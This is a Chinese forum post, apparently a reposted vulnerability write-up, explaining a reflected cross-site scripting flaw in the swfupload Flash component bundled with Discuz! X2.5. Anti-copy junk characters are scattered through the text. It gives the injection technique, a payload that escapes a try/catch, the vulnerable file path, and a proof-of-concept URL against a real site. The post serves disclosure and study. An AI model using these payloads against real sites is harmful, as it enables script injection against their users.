找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1866|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
上回我们说+ v. P% ?+ y5 g4 u9 j" d$ u

, h0 c% f, `5 Z9 |% t9 D9 Z1 Mflash.external.ExternalInterface.call($methodName, $parameter)+ i, H2 S- R7 }, m* g3 Z& A
在浏览器中执行的是" I% J* [& S* o/ W$ f; n+ N! @1 ?
3 I, ~! F2 t( V  A) h. k. Q: w; E
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}4 n# \) V$ f. |4 G) z9 @+ P
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
$ l: Y8 d! z/ y! |! }1 W# r9 r; X$ m# `8 ^8 x: i7 K
flash.external.ExternalInterface.call("object."+$methodName, $parameter)1 h5 n- Z! S; J! `5 f" Q- l, s: Z0 g
$methodName = a())}catch(e){alert(/xss/)}//4 l! C& I/ j7 s- ]( l
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。: o! ~/ D/ a, `# q+ H* L- i

, z; m, _2 P6 E6 {/ F7 J( utry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
. S, b. g/ u4 a# T/ ~' o
: [2 i% B. H: r6 u4 O. y这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
6 e7 s* e7 T, f9 z( @  B- Z. b1 s! O, Y杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。; X5 V: Y0 U0 Z) r  f! P  @- N

1 S& c1 @2 b: K, J* r+ R3 ]) L/ ~
: s2 P1 W4 @5 D# G3 A+ i* b3 I7 W4 V; \7 \& I
漏洞文件:upload\static\image\common\swfupload.swf& M* ?% D0 K, x
& k, o: c6 L& Y' e8 k* U- z
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf6 }0 ?7 z* g% e3 K" ~0 p  h3 H4 c2 @+ _
( @5 I$ g2 E7 [0 v& E2 U/ D& ]
+ B% K2 k& A: H
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
- j& |" m4 L% [) h* P7 t! l) I( Y9 |2 l( B  i) W1 k/ R+ x( X

; x; f' T. X) q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表